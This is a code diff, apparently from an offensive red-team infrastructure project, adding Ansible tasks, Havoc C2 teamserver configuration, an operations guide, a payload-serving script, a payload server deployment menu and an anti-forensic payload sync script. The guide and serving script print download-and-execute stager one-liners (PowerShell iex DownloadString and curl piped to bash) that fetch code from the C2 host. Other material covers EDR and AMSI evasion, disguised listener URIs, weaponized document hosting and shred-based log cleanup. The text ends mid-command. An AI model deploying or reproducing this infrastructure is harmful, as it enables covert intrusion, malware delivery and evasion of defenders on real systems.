home: /root/Tools/tracker + create_home: no + when: setup_integrated_tracker | default(false) | bool + +- name: Create Python virtual environment for tracker + pip: + virtualenv: /root/Tools/tracker/venv + name: + - flask + - pillow + - gunicorn + virtualenv_command: /usr/bin/python3 -m venv + environment: + PATH: "/usr/local/bin:/usr/bin:/bin" + vars: + ansible_python_interpreter: /usr/bin/python3 + when: setup_integrated_tracker | default(false) | bool + +- name: Copy tracker application code + copy: + src: "../../tracker/files/simple_email_tracker.py" + dest: /root/Tools/tracker/simple_email_tracker.py + mode: '0755' + owner: root + group: root + when: setup_integrated_tracker | default(false) | bool + +- name: Copy tracker statistics CLI tool + copy: + src: "../../tracker/files/tracker-stats.sh" + dest: /root/Tools/tracker/tracker-stats.sh + mode: '0755' + owner: root + group: root + when: setup_integrated_tracker | default(false) | bool + +- name: Copy systemd service file for tracker + copy: + src: "../../tracker/files/tracker.service" + dest: /etc/systemd/system/tracker.service + mode: '0644' + owner: root + group: root + when: setup_integrated_tracker | default(false) | bool + +- name: Set correct permissions for tracker directories + file: + path: "{{ item }}" + state: directory + owner: tracker + group: tracker + recurse: yes + loop: + - /root/Tools/tracker + - /root/Tools/tracker/data + when: setup_integrated_tracker | default(false) | bool + +- name: Create NGINX site config for tracker + template: + src: "../../tracker/files/tracker-nginx.conf" + dest: /etc/nginx/sites-available/tracker + mode: '0644' + owner: root + group: root + vars: + tracker_domain: "{{ tracker_domain | default('track.' + domain) }}" + when: setup_integrated_tracker | default(false) | bool + +- name: Enable tracker NGINX site + file: + src: /etc/nginx/sites-available/tracker + dest: /etc/nginx/sites-enabled/tracker + state: link + when: setup_integrated_tracker | default(false) | bool + +- name: Configure redirector to proxy tracking requests + lineinfile: + path: /etc/nginx/sites-available/default + insertafter: "^\\s*location / {" + line: " # Email tracker proxy path\n location /px/(.*)\\.png$ {\n proxy_pass http://{{ c2_ip }}:443/pixel/$1.png;\n proxy_set_header Host {{ tracker_domain }};\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-Proto https;\n }" + delegate_to: "{{ groups['redirectors'][0] }}" + when: setup_integrated_tracker | default(false) | bool and groups['redirectors'] is defined + +- name: Set up SSL if requested + shell: | + certbot --nginx -d {{ tracker_domain }} --non-interactive --agree-tos -m {{ tracker_email }} + args: + creates: /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem + when: setup_integrated_tracker | default(false) | bool and tracker_setup_ssl | default(true) | bool + ignore_errors: yes + +- name: Start and enable tracker service + systemd: + name: tracker + state: started + enabled: yes + daemon_reload: yes + when: setup_integrated_tracker | default(false) | bool + +- name: Add tracker alias to bashrc for easy access + lineinfile: + path: /root/.bashrc + line: 'alias tracker="/root/Tools/tracker/tracker-stats.sh"' + state: present + when: setup_integrated_tracker | default(false) | bool \ No newline at end of file diff --git a/modules/c2/templates/generate_evasive_beacons.sh.j2 b/modules/c2/templates/generate_evasive_beacons.sh.j2 new file mode 100644 index 0000000..06baa54 --- /dev/null +++ b/modules/c2/templates/generate_evasive_beacons.sh.j2 @@ -0,0 +1,10 @@ +{# OMITTED โ€” evasive beacon generation template #} +{# + Jinja2 template rendered at deploy time. Produces a shell script that compiles + Havoc Demon shellcode with per-engagement randomized identifiers, wraps the + shellcode in a chosen injection template (process hollowing, APC injection, + early-bird), and stages the result to the payload server. + + Omitted from public release. Present in operational deployments. +#} +echo "[!] Evasive beacon generator not included in public release." diff --git a/modules/c2/templates/generate_havoc_payloads.sh.j2 b/modules/c2/templates/generate_havoc_payloads.sh.j2 new file mode 100644 index 0000000..048c1a5 --- /dev/null +++ b/modules/c2/templates/generate_havoc_payloads.sh.j2 @@ -0,0 +1,9 @@ +{# OMITTED โ€” Havoc payload generation template #} +{# + Renders a script that produces EXE, DLL, and raw shellcode variants from a + compiled Demon implant. Handles signing stubs, UPX packing decisions, and + drops artifacts to the payload server staging directory. + + Omitted from public release. Present in operational deployments. +#} +echo "[!] Havoc payload generator not included in public release." diff --git a/modules/c2/templates/havoc-config.yaotl.j2 b/modules/c2/templates/havoc-config.yaotl.j2 new file mode 100644 index 0000000..eb3e13b --- /dev/null +++ b/modules/c2/templates/havoc-config.yaotl.j2 @@ -0,0 +1,79 @@ +Teamserver { + Host = "0.0.0.0" + Port = {{ havoc_teamserver_port | default(40056) }} + + Build { + Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc" + Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc" + Nasm = "/usr/bin/nasm" + } +} + +Operators { + user "{{ havoc_admin_user | default('admin') }}" { + Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}" + } + {% if havoc_operators is defined %} + {% for operator in havoc_operators %} + user "{{ operator.name }}" { + Password = "{{ operator.password }}" + } + {% endfor %} + {% endif %} +} + +Listeners { + Http { + Name = "https" + Hosts = [ + "{{ redirector_subdomain }}.{{ domain }}" + ] + HostBind = "0.0.0.0" + HostRotation = "round-robin" + PortBind = {{ havoc_https_port | default(9443) }} + PortConn = {{ havoc_https_port | default(9443) }} + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" + Headers = [ + "Accept: */*", + "Accept-Language: en-US,en;q=0.9" + ] + Uris = [ + "/api/v2", + "/content", + "/static/css", + "/wp-content/plugins" + ] + Response { + Headers = [ + "Content-Type: application/json", + "Cache-Control: no-store, private", + "X-Content-Type-Options: nosniff" + ] + } + Secure = true + + Cert { + Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem" + Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem" + } + } +} + +Demon { + Sleep = {{ havoc_sleep | default(5) }} + Jitter = {{ havoc_jitter | default(30) }} + + Injection { + {% if havoc_spawn64 is defined %} + Spawn64 = "{{ havoc_spawn64 }}" + {% else %} + Spawn64 = "C:\\Windows\\System32\\dllhost.exe" + {% endif %} + + {% if havoc_spawn32 is defined %} + Spawn32 = "{{ havoc_spawn32 }}" + {% else %} + Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe" + {% endif %} + } +} \ No newline at end of file diff --git a/modules/c2/templates/havoc-guide.j2 b/modules/c2/templates/havoc-guide.j2 new file mode 100644 index 0000000..c96fbac --- /dev/null +++ b/modules/c2/templates/havoc-guide.j2 @@ -0,0 +1,112 @@ +HAVOC C2 OPERATIONS GUIDE +========================== + +This guide provides information on using the Havoc C2 framework (dev branch) +deployed on your infrastructure. + +SERVER INFORMATION +----------------- +C2 Server IP: {{ c2_ip }} +Redirector Domain: {{ redirector_domain }} +Teamserver Port: {{ havoc_teamserver_port | default(40056) }} +HTTP Listener Port: {{ havoc_http_port | default(8080) }} +HTTPS Listener Port: {{ havoc_https_port | default(443) }} +Admin User: {{ havoc_admin_user | default('admin') }} +Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl + +CONNECTING TO THE TEAMSERVER +--------------------------- +From your local machine: + +1. Make sure Havoc client (dev branch) is installed: + $ git clone -b dev https://github.com/HavocFramework/Havoc.git + $ cd Havoc/Client + $ mkdir build && cd build + $ cmake -GNinja .. + $ ninja + +2. Connect to the Teamserver via GUI: + - Host: {{ c2_ip }} + - Port: {{ havoc_teamserver_port | default(40056) }} + - User: {{ havoc_admin_user | default('admin') }} + - Password: See /root/Tools/Havoc/data/profiles/default.yaotl + +3. CLI Connection: + $ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] + +LISTENERS +-------- +Two default listeners are configured: +- HTTP on port {{ havoc_http_port | default(8080) }} +- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector) + +To view and manage listeners: Attack โ†’ Listeners in the Havoc client. + +GENERATING PAYLOADS +----------------- +Pre-generated payloads are available in /root/Tools/Havoc/payloads/ + +To generate new payloads: +1. Connect to the Teamserver +2. Navigate to Attack โ†’ Payload +3. Select the listener (HTTPS recommended) +4. Choose architecture, format, and evasion options +5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask + +PAYLOAD DELIVERY +-------------- +PowerShell one-liner: +powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')" + +Linux one-liner: +curl -s https://{{ redirector_domain }}/linux_stager.sh | bash + +OPERATIONAL SECURITY +------------------ +- All connections are routed through the redirector +- Payload customization includes: + * Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter + * EDR unhooking techniques + * AMSI/ETW patching + * Indirect syscalls + * Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }} + +ADVANCED FEATURES (DEV BRANCH) +---------------------------- +- Enhanced memory scanner evasion +- PPID spoofing capabilities +- Reflective DLL loading improvements +- EDR hook detection and avoidance +- Process token manipulation +- Registry persistence options + +POST-EXPLOITATION +--------------- +For post-exploitation, Havoc offers: + +1. BOF (Beacon Object Files) support +2. Integrated command & control modules +3. File system operations +4. Process injection & manipulation +5. Credential gathering capabilities + +SERVER MANAGEMENT +--------------- +- Havoc Teamserver service: systemctl status havoc +- Service configuration: /etc/systemd/system/havoc.service +- Configuration profiles: /root/Tools/Havoc/data/profiles/ + +TROUBLESHOOTING +-------------- +1. Agent connection issues: + - Verify DNS for {{ redirector_domain }} points to your redirector + - Check nginx configuration on the redirector + - Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open + +2. Teamserver issues: + - Check service: systemctl status havoc + - View logs: journalctl -u havoc + - Restart if needed: systemctl restart havoc + +3. Use Havoc client CLI debugging: + ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug \ No newline at end of file diff --git a/modules/c2/templates/serve-havoc-payloads.sh.j2 b/modules/c2/templates/serve-havoc-payloads.sh.j2 new file mode 100644 index 0000000..de49b8c --- /dev/null +++ b/modules/c2/templates/serve-havoc-payloads.sh.j2 @@ -0,0 +1,135 @@ +#!/bin/bash +# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh + +# Configuration +PAYLOADS_DIR="/root/Tools/Havoc/payloads" +C2_HOST="{{ ansible_host }}" +# Use templated variable with fallback - allow override from config +LISTEN_PORT="{{ havoc_payload_port | default(8443) }}" + +# Check if manifest file exists (created by generate_havoc_payloads.sh) +if [ -f "$PAYLOADS_DIR/manifest.json" ]; then + echo "[+] Found payload manifest file - using Havoc payloads generated previously" + # Extract payload paths from manifest + WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json") + WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json") + LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json") + + # Print payload info + echo "[+] Using these Havoc payloads:" + echo " - Windows EXE: $WIN_EXE" + echo " - Windows DLL: $WIN_DLL" + echo " - Linux Binary: $LINUX_BIN" +else + echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first." + echo "[!] Will search for payloads in $PAYLOADS_DIR..." + + # Try to find payloads directly + WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1) + WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1) + LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1) + + if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then + echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first." + exit 1 + fi + + # Extract just the filenames + WIN_EXE=$(basename "$WIN_EXE") + WIN_DLL=$(basename "$WIN_DLL") + LINUX_BIN=$(basename "$LINUX_BIN") +fi + +# Create temporary directory for web server +TEMP_DIR=$(mktemp -d) +mkdir -p $TEMP_DIR/content/windows +mkdir -p $TEMP_DIR/content/linux +mkdir -p $TEMP_DIR/scripts + +# Copy payloads to web directory +if [ -n "$WIN_EXE" ]; then + cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/ + echo "[+] Serving Windows EXE: $WIN_EXE" +fi + +if [ -n "$WIN_DLL" ]; then + cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/ + echo "[+] Serving Windows DLL: $WIN_DLL" +fi + +if [ -n "$LINUX_BIN" ]; then + cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/ + echo "[+] Serving Linux Binary: $LINUX_BIN" +fi + +# Copy stagers if they exist +if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then + cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1 + echo "[+] Serving Windows PowerShell stager" +fi + +if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then + cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh + echo "[+] Serving Linux bash stager" +fi + +# Create helpful index page +cat > $TEMP_DIR/index.html << EOL + + + + Havoc C2 Payload Downloads + + + +

Havoc C2 Payload Downloads

+
+

Available Payloads

+ +
+
+

Auto-Download Scripts

+ +
+
+

Quick Commands

+

Windows PowerShell:

+ powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')" +

Linux Bash:

+ curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash +
+ + +EOL + +# Start Python HTTP server in background +cd $TEMP_DIR +nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 & +SERVER_PID=$! +echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT" + +# Print useful information for the operator +echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/" +echo "[+] Available payloads:" +echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)" +echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)" +echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)" +echo "" +echo "[+] Quick PowerShell download command:" +echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\"" +echo "" +echo "[+] Quick Linux download command:" +echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash" \ No newline at end of file diff --git a/modules/payload-server/deploy_payload.py b/modules/payload-server/deploy_payload.py new file mode 100644 index 0000000..e7801d2 --- /dev/null +++ b/modules/payload-server/deploy_payload.py @@ -0,0 +1,345 @@ +#!/usr/bin/env python3 +""" +Payload server infrastructure deployment module +""" + +import os +import sys +import logging + +# Add the project root to the path so we can import utils +sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..')) + +from utils.common import ( + COLORS, clear_screen, print_banner, generate_deployment_id, + setup_logging, get_public_ip, confirm_action, wait_for_input +) +from utils.provider_utils import select_provider, gather_provider_config +from utils.ssh_utils import generate_ssh_key + +def gather_payload_parameters(): + """Collect parameters specific to payload server deployments""" + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}PAYLOAD SERVER SETUP{COLORS['RESET']}") + print(f"{COLORS['WHITE']}===================={COLORS['RESET']}") + + config = {} + + # Generate deployment ID + config['deployment_id'] = generate_deployment_id() + print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}") + + # Provider selection + provider = select_provider() + if not provider: + return None + config['provider'] = provider + + # Get provider-specific configuration + provider_config = gather_provider_config(provider) + if not provider_config: + return None + config.update(provider_config) + + # Payload-specific configuration + print(f"\n{COLORS['BLUE']}Payload Server Configuration{COLORS['RESET']}") + + # Domain configuration + domain = input(f"Domain for payload server [required]: ") + if not domain: + print(f"{COLORS['RED']}A domain is required for payload server deployments{COLORS['RESET']}") + return None + config['domain'] = domain + + # Subdomain configuration + config['payload_subdomain'] = input("Payload server subdomain [default: cdn]: ") or "cdn" + + # Payload types + print(f"\n{COLORS['BLUE']}Payload Types to Host:{COLORS['RESET']}") + config['host_executables'] = confirm_action("Host Windows executables?", default=True) + config['host_scripts'] = confirm_action("Host PowerShell/Python scripts?", default=True) + config['host_documents'] = confirm_action("Host weaponized documents?", default=False) + config['host_mobile'] = confirm_action("Host mobile payloads (APK/IPA)?", default=False) + + # Security options + print(f"\n{COLORS['BLUE']}Security Options:{COLORS['RESET']}") + config['enable_basic_auth'] = confirm_action("Enable basic authentication?", default=True) + config['enable_ip_filtering'] = confirm_action("Enable IP filtering?", default=True) + config['enable_user_agent_filtering'] = confirm_action("Enable User-Agent filtering?", default=True) + config['enable_rate_limiting'] = confirm_action("Enable rate limiting?", default=True) + + # Payload generation + config['auto_generate_payloads'] = confirm_action("Auto-generate common payloads?", default=False) + + # Email for Let's Encrypt + default_email = f"admin@{config['domain']}" + config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email + + # Get operator IP for security + suggested_ip = get_public_ip() + if suggested_ip: + operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip + else: + operator_ip = input("Your public IP for secure access: ") + config['operator_ip'] = operator_ip + + # SSH key generation + ssh_key_path = generate_ssh_key(config['deployment_id']) + if not ssh_key_path: + print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}") + return None + config['ssh_key_path'] = f"{ssh_key_path}.pub" + + # Post-deployment options + config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True) + + return config + +def payload_menu(): + """Display the payload server submenu and handle user selection""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}PAYLOAD SERVER MENU{COLORS['RESET']}") + print(f"{COLORS['WHITE']}==================={COLORS['RESET']}") + print(f"1) Basic Payload Server {COLORS['GREEN']}*SIMPLE*{COLORS['RESET']} {COLORS['GRAY']}(Quick setup){COLORS['RESET']}") + print(f"2) Multi-Format Payload Server {COLORS['GRAY']}(Supports multiple payload types){COLORS['RESET']}") + print(f"3) Document Payload Server {COLORS['GRAY']}(Specialized for document payloads){COLORS['RESET']}") + print(f"4) Mobile Payload Server {COLORS['GRAY']}(Mobile-focused payloads){COLORS['RESET']}") + print(f"5) Secure Payload Server {COLORS['GRAY']}(Auth + filtering){COLORS['RESET']}") + print(f"6) Payload Server with Redirector {COLORS['GRAY']}(With traffic redirection){COLORS['RESET']}") + print(f"99) Return to Main Menu") + + choice = input(f"\nSelect an option: ") + + if choice == "1": + deploy_basic_payload_server() + elif choice == "2": + deploy_multi_format_payload_server() + elif choice == "3": + deploy_document_payload_server() + elif choice == "4": + deploy_mobile_payload_server() + elif choice == "5": + deploy_secure_payload_server() + elif choice == "6": + deploy_payload_server_with_redirector() + elif choice == "99": + return + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + wait_for_input() + +def deploy_basic_payload_server(): + """Deploy basic payload server""" + config = gather_payload_parameters() + if not config: + return + + config['deployment_type'] = 'basic_payload_server' + config['enable_basic_auth'] = False + config['enable_ip_filtering'] = False + config['enable_user_agent_filtering'] = False + + print(f"\n{COLORS['GREEN']}Deploying basic payload server...{COLORS['RESET']}") + execute_payload_deployment(config) + +def deploy_payload_server_with_redirector(): + """Deploy payload server with redirector""" + config = gather_payload_parameters() + if not config: + return + + # Additional redirector configuration + config['redirector_subdomain'] = input("Redirector subdomain [default: dl]: ") or "dl" + + config['deployment_type'] = 'payload_server_with_redirector' + config['deploy_redirector'] = True + + print(f"\n{COLORS['GREEN']}Deploying payload server with redirector...{COLORS['RESET']}") + execute_payload_deployment(config) + +def deploy_secure_payload_server(): + """Deploy secure payload server with authentication and filtering""" + config = gather_payload_parameters() + if not config: + return + + config['deployment_type'] = 'secure_payload_server' + config['enable_basic_auth'] = True + config['enable_ip_filtering'] = True + config['enable_user_agent_filtering'] = True + config['enable_rate_limiting'] = True + + # Additional security configuration + config['auth_username'] = input("Basic auth username [default: admin]: ") or "admin" + config['auth_password'] = input("Basic auth password [default: random]: ") or None + + print(f"\n{COLORS['GREEN']}Deploying secure payload server...{COLORS['RESET']}") + execute_payload_deployment(config) + +def deploy_mobile_payload_server(): + """Deploy mobile payload server""" + config = gather_payload_parameters() + if not config: + return + + config['deployment_type'] = 'mobile_payload_server' + config['host_mobile'] = True + config['host_executables'] = False + config['host_scripts'] = False + config['host_documents'] = False + + print(f"\n{COLORS['GREEN']}Deploying mobile payload server...{COLORS['RESET']}") + execute_payload_deployment(config) + +def deploy_document_payload_server(): + """Deploy document payload server""" + config = gather_payload_parameters() + if not config: + return + + config['deployment_type'] = 'document_payload_server' + config['host_documents'] = True + config['host_executables'] = False + config['host_scripts'] = False + config['host_mobile'] = False + + print(f"\n{COLORS['GREEN']}Deploying document payload server...{COLORS['RESET']}") + execute_payload_deployment(config) + +def deploy_multi_format_payload_server(): + """Deploy multi-format payload server""" + config = gather_payload_parameters() + if not config: + return + + config['deployment_type'] = 'multi_format_payload_server' + config['host_executables'] = True + config['host_scripts'] = True + config['host_documents'] = True + config['host_mobile'] = True + + print(f"\n{COLORS['GREEN']}Deploying multi-format payload server...{COLORS['RESET']}") + execute_payload_deployment(config) + +def execute_payload_deployment(config): + """Execute payload server infrastructure deployment""" + clear_screen() + print_banner() + print(f"\n{COLORS['GREEN']}Starting payload server deployment...{COLORS['RESET']}") + + # Set up logging + log_file = setup_logging(config['deployment_id'], "payload_deployment") + + # Display configuration summary + print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}") + print(f"Deployment Type: {config['deployment_type']}") + print(f"Deployment ID: {config['deployment_id']}") + print(f"Provider: {config['provider']}") + print(f"Domain: {config['domain']}") + print(f"Host Executables: {config.get('host_executables', False)}") + print(f"Host Scripts: {config.get('host_scripts', False)}") + print(f"Host Documents: {config.get('host_documents', False)}") + print(f"Host Mobile: {config.get('host_mobile', False)}") + + # Confirm deployment + if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with payload server deployment?{COLORS['RESET']}", default=False): + print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}") + return + + # Execute the actual deployment + success = execute_ansible_deployment(config) + + if success: + print(f"\n{COLORS['GREEN']}Payload server infrastructure deployed successfully!{COLORS['RESET']}") + + if config.get('ssh_after_deploy'): + from utils.ssh_utils import ssh_to_instance + ssh_to_instance(config) + else: + print(f"\n{COLORS['RED']}Payload server infrastructure deployment failed.{COLORS['RESET']}") + + wait_for_input() + +def execute_ansible_deployment(config): + """Execute the Ansible deployment based on configuration""" + import subprocess + + deployment_type = config.get('deployment_type') + provider = config.get('provider') + + print(f"\n{COLORS['BLUE']}Executing {deployment_type} deployment on {provider}...{COLORS['RESET']}") + + # Use the payload server playbooks + playbook_map = { + 'basic_payload_server': 'payload_server.yml', + 'payload_server_with_redirector': 'payload_server.yml', + 'secure_payload_server': 'payload_server.yml', + 'mobile_payload_server': 'payload_server.yml', + 'document_payload_server': 'payload_server.yml', + 'multi_format_payload_server': 'payload_server.yml' + } + + playbook = playbook_map.get(deployment_type) + if not playbook: + print(f"{COLORS['RED']}Unknown deployment type: {deployment_type}{COLORS['RESET']}") + return False + + # Change to the module directory and execute the playbook + module_dir = os.path.dirname(__file__) + playbook_path = os.path.join(module_dir, playbook) + + if not os.path.exists(playbook_path): + print(f"{COLORS['YELLOW']}Playbook not found: {playbook_path}{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}This would normally execute the {playbook} playbook{COLORS['RESET']}") + return True # Simulate success for now + + try: + # Build the ansible-playbook command + cmd = [ + 'ansible-playbook', + playbook_path, + '-e', f'deployment_id={config["deployment_id"]}', + '-e', f'provider={config["provider"]}', + '-e', f'domain={config["domain"]}', + '-e', f'deployment_type={deployment_type}' + ] + + # Add payload-specific variables + for key in ['host_executables', 'host_scripts', 'host_documents', 'host_mobile']: + if key in config: + cmd.extend(['-e', f'{key}={str(config[key]).lower()}']) + + # Add security options + for key in ['enable_basic_auth', 'enable_ip_filtering', 'enable_user_agent_filtering', 'enable_rate_limiting']: + if key in config: + cmd.extend(['-e', f'{key}={str(config[key]).lower()}']) + + # Add provider-specific variables + if provider == 'aws': + if config.get('aws_access_key'): + cmd.extend(['-e', f'aws_access_key={config["aws_access_key"]}']) + if config.get('aws_secret_key'): + cmd.extend(['-e', f'aws_secret_key={config["aws_secret_key"]}']) + if config.get('aws_region'): + cmd.extend(['-e', f'aws_region={config["aws_region"]}']) + + # Execute the playbook + result = subprocess.run(cmd, capture_output=True, text=True) + + if result.returncode == 0: + print(f"{COLORS['GREEN']}Ansible playbook executed successfully{COLORS['RESET']}") + return True + else: + print(f"{COLORS['RED']}Ansible playbook failed:{COLORS['RESET']}") + print(result.stderr) + return False + + except Exception as e: + print(f"{COLORS['RED']}Error executing playbook: {e}{COLORS['RESET']}") + return False + +if __name__ == "__main__": + payload_menu() diff --git a/modules/payload-server/files/secure_payload_sync.sh b/modules/payload-server/files/secure_payload_sync.sh new file mode 100644 index 0000000..1d1f3e3 --- /dev/null +++ b/modules/payload-server/files/secure_payload_sync.sh @@ -0,0 +1,150 @@ +#!/bin/bash +# secure_payload_sync.sh - OPSEC-focused payload distribution + +# Configuration +C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads" +REDIRECTOR_IP="{{ redirector_ip }}" +REDIRECTOR_USER="root" +SSH_KEY_PATH="/root/.ssh/id_ed25519" +REMOTE_PAYLOAD_DIR="/var/www/resources" +ENCRYPTED_TRANSFER=true +LOG_FILE="/root/Tools/logs/payload_sync.log" +LOG_RETENTION_DAYS=3 +MAX_RANDOM_DELAY=300 # Max random delay in seconds + +# Create minimal timestamped log with auto-rotation +log() { + mkdir -p $(dirname $LOG_FILE) + echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE + find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null +} + +# Add random delay for OPSEC +sleep_random() { + DELAY=$((RANDOM % $MAX_RANDOM_DELAY)) + log "Adding random delay of $DELAY seconds" + sleep $DELAY +} + +# Generate payload manifest and check for changes +check_for_changes() { + if [ ! -d "$C2_PAYLOAD_DIR" ]; then + log "ERROR: Payload directory not found" + return 1 + fi + + TMP_DIR=$(mktemp -d) + MANIFEST_FILE="$TMP_DIR/manifest" + find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE + + CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}') + HASH_FILE="/root/Tools/.payload_hash" + + if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then + log "No payload changes detected" + secure_delete $TMP_DIR + return 1 + fi + + echo $CURRENT_HASH > $HASH_FILE + return 0 +} + +# Secure deletion of files/directories +secure_delete() { + if [ -d "$1" ]; then + find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null + rm -rf "$1" 2>/dev/null + elif [ -f "$1" ]; then + shred -n 3 -z -u "$1" 2>/dev/null + fi +} + +# Encrypt archive with random password +encrypt_archive() { + SRC="$1" + DEST="$2" + + # Generate random password + PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32) + PASS_FILE=$(mktemp) + echo $PASSWORD > $PASS_FILE + + # Encrypt the archive + openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE + + # Store password temporarily for transfer + echo $PASSWORD + + # Securely delete password file + secure_delete $PASS_FILE +} + +# Main execution +main() { + log "Starting secure payload sync" + + # Add randomized timing + sleep_random + + # Check for payload changes + check_for_changes || exit 0 + + # Generate random archive name for OPSEC + RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12) + ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz" + ENCRYPTED_NAME="${ARCHIVE_NAME}.enc" + TEMP_DIR=$(mktemp -d) + + # Create payload archive + log "Creating payload archive" + tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR) + + # Encrypt archive if enabled + PASSWORD="" + if [ "$ENCRYPTED_TRANSFER" = true ]; then + log "Encrypting payload archive" + PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME") + TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME" + else + TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME" + fi + + # Transfer archive to redirector + log "Transferring payloads to redirector" + scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME" + + # Handle remote extraction with decryption if needed + if [ "$ENCRYPTED_TRANSFER" = true ]; then + REMOTE_CMD=" + mkdir -p $REMOTE_PAYLOAD_DIR + TEMP_DIR=\$(mktemp -d) + openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\" + tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/ + # Clean up + shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null + rm -rf \$TEMP_DIR + # Update web server if needed + systemctl reload nginx 2>/dev/null + " + else + REMOTE_CMD=" + mkdir -p $REMOTE_PAYLOAD_DIR + tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/ + shred -n 3 -z -u 